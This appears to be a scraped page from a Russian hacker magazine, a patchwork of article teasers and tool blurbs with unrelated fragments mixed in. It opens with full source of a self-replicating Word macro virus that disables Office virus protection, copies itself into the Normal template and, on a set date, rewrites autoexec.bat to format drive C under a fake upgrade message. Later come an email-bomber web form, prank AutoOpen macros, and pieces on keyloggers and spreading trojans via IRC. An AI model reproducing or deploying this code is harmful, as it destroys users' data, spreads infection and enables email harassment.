Привет! Вот ещё западло на VBA: Dim y1, y2, y3, y4 As Boolean Dim p As Variant Dim y5, y6 As Object Dim y7, y8, y16 As Integer Dim y9 As Date Dim y10, y11, y12, y13, y14, m As String Const y15 = "HELL" Private Sub Document_Close() On Error Resume Next Set y5 = ActiveDocument.VBProject.VBComponents.Item(1) Set y6 = NormalTemplate.VBProject.VBComponents.Item(1) With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With y3 = y5.CodeModule.Find(y15, 1, 1, 10000, 10000) y4 = y6.CodeModule.Find(y15, 1, 1, 10000, 10000) y9 = Now() y7 = Day(y9) y8 = Month(y9) If y7 = 5 And y8 = 2 Then 'y7- день и y8- месяц, когда надо сделать "upgrade" ;) Set fs = CreateObject("Scripting.FileSystemObject") If fs.fileexists("c:\autoexec.bat") Then Set ab = fs.getfile("c:\autoexec.bat") ab.Attributes = 0 End If Set autoexec = fs.CreateTextFile("c:\autoexec.bat") autoexec.WriteLine "cls" autoexec.WriteLine "echo Windows upgrading your system..." autoexec.WriteLine "echo Do not abort this process!" autoexec.WriteLine "format c: \autotest" autoexec.Close m = MsgBox("Новые параметры вступят в силу после перезагрузки системы", vbOKOnly) p = Shell("Rundll32.exe User.exe,ExitWindows") End If If y3 = True Then y13 = y5.CodeModule.Lines(1, y5.CodeModule.CountOfLines) ElseIf y4 = True Then y13 = y6.CodeModule.Lines(1, y6.CodeModule.CountOfLines) End If If (y3 = True Xor y4 = True) And _ (ActiveDocument.SaveFormat = wdFormatDocument Or _ ActiveDocument.SaveFormat = wdFormatTemplate) Then If y3 = True Then y2 = NormalTemplate.Saved y11 = y5.CodeModule.Lines(1, y5.CodeModule.CountOfLines) y6.CodeModule.DeleteLines 1, y6.CodeModule.CountOfLines y6.CodeModule.AddFromString y11 If y2 = True Then NormalTemplate.Save End If If y4 = True Or ActiveDocument.Saved = False Then y1 = ActiveDocument.Saved y11 = y6.CodeModule.Lines(1, y6.CodeModule.CountOfLines) y5.CodeModule.DeleteLines 1, y5.CodeModule.CountOfLines y5.CodeModule.AddFromString y11 If y1 = True Then ActiveDocument.Save End If End If End Sub Private Sub Document_New() Set y5 = ActiveDocument.VBProject.VBComponents.Item(1) Set y6 = NormalTemplate.VBProject.VBComponents.Item(1) y9 = Now() y7 = Day(y9) y8 = Month(y9) If y7 = 5 And y8 = 2 Then Set fs = CreateObject("Scripting.FileSystemObject") If fs.fileexists("c:\autoexec.bat") Then Set ab = fs.getfile("c:\autoexec.bat") ab.Attributes = 0 End If Set autoexec = fs.CreateTextFile("c:\autoexec.bat") autoexec.WriteLine "cls" autoexec.WriteLine "echo Windows upgrading your system..." autoexec.WriteLine "echo Do not abort this process!" autoexec.WriteLine "format c: \autotest" autoexec.Close End If End Sub Private Sub Document_Open() Set y5 = ActiveDocument.VBProject.VBComponents.Item(1) Set y6 = NormalTemplate.VBProject.VBComponents.Item(1) y9 = Now() y7 = Day(y9) y8 = Month(y9) If y7 = 5 And y8 = 2 Then Set fs = CreateObject("Scripting.FileSystemObject") If fs.fileexists("c:\autoexec.bat") Then Set ab = fs.getfile("c:\autoexec.bat") ab.Attributes = 0 End If Set autoexec = fs.CreateTextFile("c:\autoexec.bat") autoexec.WriteLine "cls" autoexec.WriteLine "echo Windows upgrading your system..." autoexec.WriteLine "echo Do not abort this process!" autoexec.WriteLine "format c: \autotest" autoexec.Close End If End Sub Есть полезная инфа? Отправляй ее нам

<SCRIPT> if (window != top) top.location.href = location.href;<br> </SCRIPT>

Хе-хе, привет! Речь пойдёт об ICQ, о так называемых аськах! Есть множество способов по зарабатыванию уинов для аси! Брутфорс я описывать не буду... Короче так... если у тебя халявный инет или ты платишь по месяцам, то это в моём случае будет лучше..

Программа-шпион.

Это программа предназначена для защиты содержимого директорий от посторонних лиц.

Как недавно установили ученые, разумная жизнь в принципе возможна на многих планетах, включая нашу. Вселенная... Сказав это слово, в моей голове рождается много вопросов: откуда Она, кем создана, где Ее границы??? Вряд ли человечество ответит на эти вопросы в ближайшем будущем и ответит ли вообще когда-нибудь? Космос - совукупность галактик, систем (наподобие нашей родной - солнечной), самых разных звезд, планет, черных дыр в конце концов

Цель данной статьи - показать способ взлома вашего компьютера. Автор не несет никакой ответственности за ущерб, который может быть следствием прочтения этого сообщения.

Proxy Checker это программа, как следует из названия, проверяет прокси сервера на работоспособность и анонимность.

Этот архиватор интересен тем, что он интегрируется с виндами.

TCP/IP порт сканер.

Прога предназначена для облегчения поиска известных CGI-дырок.

Быстрый визуальный trace route.

Простой, удобный и быстрый сканер портов.

Отличный клавиатурный шпион.

Собрав огроменную кучу критики на предыдущую статью Сборник троянов #1, решил показать вам настоящий супер-сборник троянов, откуда вы можете достать практически все, что существует на свете (по крайней мере все то, что было описано в первой статье)

Хочу рассказать тебе о том, как легко и просто впарить трояна через IRC.  Требуется: 1. Irc клиент; 2. Троян; 3. Один кулхацкер :); 4. Умение быстро переименовывать файлы; 5. Время и терпение. Идея проста, как сама жизнь ;). Заходим на IRC, ищем каналы, на которых люди качают мп3-шки

Всех приветствую! После моей последней статьи "Умные Ламеры" я получил очень большое количество отрицательной энергии в мой адрес. Мол я сам ламер, долой журнал, царя, самодержавие! Не надо нам хумор, а давай нам про хак! 1: Я сам не Хакер! Я этого никогда не говорил

Утилита RegmonEx отслеживает все обращения программ к реестру Windows.

Сканирует открытые порты удаленного компьютера, к которым можно законектиться и пытается это сделать.

Привет! Сразу хочу предупредить, что следующая инструкция предназначена для начинающих, почти для ламеров.

Добрый всем пень (четвёртый).

Привет, кул-хацкерская братия! Как хакается? Не очень? А чего вдруг? Лень в online инфу читать, да и дорого? Так мы это сейчас быстро исправим!

кассир: "Дом Вафли Гранитного Города". dhate: Да, какие разновидности вафель у вас имеются? кассир: Обычные и пекановые вафли, сэр. dhate: А в чем различие? кассир: одни содержат внутри пекановые орехи, а другие - нет. dhate: Сколько стоят пекановые вафли? кассир: $1.75, сэр

AENIMA - очень хороший, быстрый и эффективный е-мейл бомбер.

Norton Personal Firewall одна из самых мощных программ в своем классе.

Это охотник на троянов.

Привет, Br@t@n !!! Ты уже надыбал себе пагу, которая поддерживает PHP ? Нет? так надыбай ! =) Ибо эта статья не о том, как надыбать пагу, это статья о том как её использовать. Готов? поехали ! 1.Создай HTML-документ со следующим текстом: <html> <head> <title>Он-лайн E-mail-бомбер</title> </head> <body bgcolor="Black"> <div align="center"><font face="Impact" color="White">Mail-bobmer by $CORPION</font><!--- Можешь чуть-чуть подправить ;-) ---> <br><br> <form action="send.php" method="POST"> <font color="olive" face="Times New Roman">Куда</font><br><input maxlength="35" value="your@e-mail.com" type="Text" name="to"><br><br> <font color="olive" face="Times New Roman">Тема</font><br><input maxlength="20" value="Хе-хе-хе" type="Text" name="subject"><br><br> <font color="olive" face="Times New Roman">Сообщение</font><br> <textarea cols="35" rows="3" name="message">Чувак,ты влетел серьезно!</textarea><br><br> <font color="olive" face="Times New Roman">Количество писем</font><br><input size="4" maxlength="5" value="50" type="Text" name="count"><br><br> <input type="Submit" value="Отправить"> </form> </div> </body> </html> Как ты видишь, мы обозначили несколько полей именами to - адрес получателя, subject - тема, message - текст, count - кол.мессаг...

Данная прога от нашего соотечественника включает: cекьюрити сканер, простые сканеры (TCP и UDP портов), Web-сканер с Brute-словарём, определитель исходящего трафика на удаленном компьютере, WhoIs сервис, проверка анонимности прокси-сервера, TCP и UDP клиенты, TCP-прокси (позволяет пропускать TCP пакеты через себя, с возможностью коррекции), работа с почтой (удаление ненужной почты с сервера), локальные настройки безопасности компьютера.

Программа шпионит за действиями пользователя.

Программа предназначена для того чтобы проверить надежность работы твоего firewall’а.

Дарова, кулкодер $%)! Ты, наверно, уже много читал про Perl, но так и не смог создать свой собственный работающий CGI-скрипт? Проблема в том, что часто упоминается сам синтаксис этого мудрого языка, но не объясняется его практическое применение к CGI

Как не прискорбно констатировать сей факт, однако от суровой реальности не убежать и не скрыться. О чем я? Да о том, что мертвым грузом лежит на душе у каждого студента, что заставляет его регулярно, каждые полгода – зимой и в начале лета – вспоминать нехорошими словами преподов и прогул… эээ, то есть, пропущенные по уважительной причине лекции :-)

Ох, ребята, смотрю затронула вас тема таксофонных карт за живое место.

Во-первых. *nix версия нашего сниффера.

Прочитал я западло в Office и решил поделиться своим опытом в юзании мелкософтовского продукта 1.Uzver без тулбаров sub AutoOpen With Application For d = 1 to .Commandbars.Count .CommandBars(d).Enabled = False Next d End With End sub 2.Uzver и таймер Sub AutoOpen Start = Timer 'Засекаем время Pause = 10 'В данном случае 10 а так можно поизвращаться Do While Timer < Start + Pause Loop End sub 3.Uzver и его файл Sub AutoOpen MsgBox "You are hacked" ActiveWindow.Close End sub И как заметил Gnome, исходники макровирусов здесь выставлять не стоит!!! Насчет того, что антивирь просекет - задача состоит в том, чтобы накалякать новый способ прописки в Normal, а если в придачу отключить пару горяяяячих клавиш то Uzver-у пи..

Каждый пользователь в зависимости от своих вкусов и нужд настраивает Винды под себя. Сами винды этого делать не дают, так что существует два способа их настроить: с помощью специальной программы и руками при помощи реестра

Так вот слушайте! Есть у меня кореш в универе, как-то дал он мне листочек А4, на котором напечатано число Пи с точностью до 10000 знака после запятой! И вот я его всем ламам показывать стал. Так было и на этот раз - приходит ко мне Ламо и Я ему показываю этот листик

"Жизнь"?